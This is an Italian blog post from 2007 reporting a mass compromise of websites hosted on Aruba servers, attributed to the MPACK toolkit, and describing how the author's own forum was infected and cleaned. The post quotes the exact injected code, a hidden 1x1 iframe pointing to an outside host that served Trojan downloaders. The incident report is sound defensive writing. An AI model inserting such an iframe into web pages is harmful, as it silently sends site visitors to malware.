Server Aruba sotto attacco: siti web italiani nel mirino!
Massimo Rabbi | 19 June 2007 | 10:45In questi ultimi giorni sui blog e sui siti web più disparati, non si è fatto altro che parlare del massiccio attacco subito da numerosi siti web hostati su server Aruba.
Il modus operandi rispecchia in pieno quanto avvenuto lo scorso mese per i sistemi di Hosting Solutions.
L’intrusione ha infatti consentito a degli attacker di modificare le pagine web di svariati siti web inserendo un IFRAME che effettuasse il redirect degli utenti verso siti web contenenti malware.
Di seguito riporto il link a tre articoli che spiegano molto bene l’accaduto:
- Server Aruba sotto attacco, allarme in Italia
- Possibile intrusione nei sistemi Aruba
- L’italia sotto pesante attacco malware
Dalle cose lette qui e in altre pagine sembra sia stato sfruttato un tool automatizzato per lanciare attacchi malware: il software in questione è chiamato MPACK.
Panda Software ha pubblicato un interessantissimo report che analizza nel dettaglio questo tool: lo potete scaricare qui.
Il problema ha interessato direttamente anche noi di TechTown. In particolar modo è stato colpito il forum con risultante inserimento del seguente frammento IFRAME:
<iframe src=”http://zaq-home.org/x/index.php” width=”1″ height=”1″></iframe>
Del problema mi son accorto grazie alla segnalazione di Kaspersky Internet Security che ha prontamente bloccato il tentativo di download di due malware, nella fattispecie due Trojan.Downloader.
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Acid ha rimosso il problema che sembra fosse dovuto ad una modifica nel campo templates del database del forum dove sembra sia stato aggiunto il codice, in particolare il board wrappers.
Abbiamo proceduto anche ad una verifica dei file dell’intero ftp e cercato di verificare se tutto fosse funzionante.
Nel frattempo Aruba sembra non dire nulla a riguardo. Penso che una comunicazione via mail globale a tutti i propri utenti sarebbe stata cosa buona e giusta, per informare del possibile pericolo e del possibile coinvolgimento nell’attacco di questo o quel server anche in base alle tante segnalazioni degli utenti.
Il consiglio è quello di tenere sempre l’antivir aggiornato, meglio se di quelli che hanno la funzionalità integrata di web protection.






